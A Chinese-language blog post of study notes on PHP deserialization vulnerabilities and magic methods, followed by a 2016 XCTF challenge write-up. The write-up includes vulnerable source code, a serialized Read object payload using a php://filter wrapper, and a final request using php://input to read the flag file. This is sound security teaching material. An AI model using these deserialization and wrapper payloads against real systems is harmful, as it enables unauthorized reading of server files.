PHP反序列化初探笔记 | Dayu's Blog

PHP反序列化初探笔记

..

序列化和反序列化

  • 序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。

  • 序列化的对象可以是class也可以是Array,string等其他对象。

反序列化存在的问题

  • 问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

  • 魔术方法:PHP的类中可能会包含一些特殊的函数叫魔术函数,魔术函数命名是以符号 __开头的

  • 反序列化漏洞中常见到有一些魔术方法:
    __construct():在对象创建时自动被调用
    __destruct():对象被销毁时触发
    __sleep():使用serialize时触发
    __wakeup():使用unserialize时触发
    __toString(): 把类当作字符串调用时触发
    __call():在对象上下文中调用不可访问的方法时触发
    __callStatic():在静态上下文中调用不可访问的方法时触发
    __get():用于从不可访问的属性读取数据,或访问类中不存在的方法时触发
    __set():用于将数据写入不可访问的属性
    __isset():在不可访问的属性上调用isset()或empty()触发
    __unset():在不可访问的属性上使用unset()时触发
    __invoke():当脚本尝试将对象调用为函数时触发

2016xctf的一道反序列化题目

index.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php  
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";

if(preg_match("/f1a9/",$file)){

exit();

}else{

include($file); //class.php

$pass = unserialize($pass);

echo ($pass);

}

}else{

echo "you are not admin ! ";
}
?>

class.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  

class Read{//f1a9.php

public $file;

public function __toString(){

if(isset($this->file)){

echo file_get_contents($this->file);

}

return "__toString was called!";
}

}
?>

源码分析:

  • index.php源码 中的第6行使用file_get_contents读取user参数的值,这里必须要用php://input 赋值the user is admin,并不可以利用。
    第9行限制我们在给file传值时不能含有f1a9,我没有做过原题,可以猜出出题人不想让我们直接读取f1a9xxx的文件,flag应该就在其中。
    然后在源码的第15行存在include($file)文件包含,第17行unserialize($pass)反序列化函数的参数可控,在第13行执行了echo $pass;

  • class.php源码 中使用了__toString()魔术方法,echo $pass; 会触发__toString()魔术方法,所以存在反序列化漏洞,其中第11行file_get_contents是用来读取$file变量的文件的,并且给出了提示,//f1a9.php;

  • 所以本题的考点就是利用文件包含使用php://input的封装协议传入user参数的值,满足index.php源码中的第6行的条件,在pass参数中传入序列化后要读取的flag文件。

Payload构造

1
2
3
4
5
6
7
8
9
10
11
<?php  

class Read{

public $file;

}

$payload = new Read();
$payload -> file = 'php://filter/read=convert.base64-encode/resource=f1a9.php';
echo serialize($payload);

输出:

1
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}

最终请求:

1
2
3
GET DATA :?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";} 

POST DATA:the user is admin

进行上面的请求,然后得到经过base64编码过的f1a9.php源码,得到flag。